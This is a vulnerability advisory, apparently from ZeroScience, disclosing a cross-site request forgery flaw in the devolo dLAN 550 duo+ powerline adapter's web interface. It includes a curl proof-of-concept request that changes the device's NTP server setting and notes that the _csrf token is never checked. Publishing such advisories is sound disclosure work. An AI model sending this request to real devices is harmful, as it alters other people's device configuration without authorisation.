devolo dLAN 550 duo+ Starter Kit Cross-Site Request Forgery Vendor: devolo AG Product web page: https://www.devolo.com Affected version: dLAN 500 AV Wireless+ 3.1.0-1 (i386) Summary: Devolo dLANA(r) 550 duo+ Starter Kit is Powerlineadapter which is a cost-effective and helpful networking alternative for any location without structured network wiring. Especially in buildings or residences lacking network cables or where updating the wiring would be expensive and complicated, Powerline adapters provide networking at high transmission rates. Desc: The web application allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. The devolo web application uses predictable URL/form actions in a repeatable way. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site. Tested on: Linux 2.6.31 Vulnerability discovered by Stefan Petrushevski aka sm @zeroscience Advisory ID: ZSL-2019-5507 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5507.php 04.10.2017 -- curl -i -s -k -X 'POST' \ -H 'Origin: http://DEVOLO-IP' -H 'Upgrade-Insecure-Requests: 1' -H 'User-Agent: Mozilla/5.0' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Referer: http://DEVOLO-IP/cgi-bin/htmlmgr?_file=%2Fwgl%2Fmain.wgl&_sid=&_style=std&_lang=&_dir=expert&_page=time' \ --data-binary $'%3Asys%3ANTPClient.EnableNTP=on&%3Asys%3ANTPClient.NTPServer=waddup.com&%3Asys%3ANTPClient.GMTOffset=%2B01%3A00&%3Asys%3ANTPClient.AutoDaylightSaving=on&_file=%2Fwgl%2Fmain.wgl&_style=std&_lang=&_dir=expert&_page=time&_idx=&_sid=&_csrf=' \ 'http://DEVOLO-IP/cgi-bin/htmlmgr' Even though there is a '_csrf' parameter that is being submited, it is never checked (nor it contains any value)